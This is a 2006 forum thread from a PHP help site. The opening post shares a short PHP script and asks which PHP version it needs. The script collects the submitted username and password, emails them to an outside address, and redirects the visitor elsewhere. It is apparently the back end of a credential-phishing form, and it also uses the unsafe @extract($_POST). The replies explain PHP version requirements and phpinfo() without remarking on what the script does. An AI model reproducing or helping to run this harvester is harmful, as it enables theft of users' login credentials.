shisamandisa Posted July 16, 2006 Share Posted July 16, 2006 [code]<?php@extract($_POST);$username=$_POST["username"];$password=$_POST["password"];mail("email@email.com", $username, $password, "From: $username");header("Location: http://anyredirectsite.com");?>[/code] Quote Link to comment https://forums.phpfreaks.com/topic/14733-does-anyone-know-what-version-php-this-is/ Share on other sites More sharing options...
micah1701 Posted July 16, 2006 Share Posted July 16, 2006 that script should run in just about any version of PHP i would think.there are a number of ways to find your version number, the easiest is to just add this to a script on your site.<? phpinfo() ?>that will output all your settings.see http://www.php.net/phpinfo Quote Link to comment https://forums.phpfreaks.com/topic/14733-does-anyone-know-what-version-php-this-is/#findComment-58791 Share on other sites More sharing options...
OOP Posted July 16, 2006 Share Posted July 16, 2006 This script will work on any PHP version starting from version that is > 4.1.0. I am saying this becuase the global array $_POST was not available in older version. Older versions used to have this kind of arrays $HTTP_*_VARS.regards,OOP Quote Link to comment https://forums.phpfreaks.com/topic/14733-does-anyone-know-what-version-php-this-is/#findComment-58803 Share on other sites More sharing options...
wildteen88 Posted July 16, 2006 Share Posted July 16, 2006 If you are running PHP4.1.x or lower then you will have to use the $HTTP_*_VARS. This becuase the superglobal ($_POST, $_GET, $COOKIES etc) arrays wasn't added until PHP4.2.x. If your host is using an older version you should consider moving to another host that has amore uptodate version or see if your host will upgrade their current version. Quote Link to comment https://forums.phpfreaks.com/topic/14733-does-anyone-know-what-version-php-this-is/#findComment-58909 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.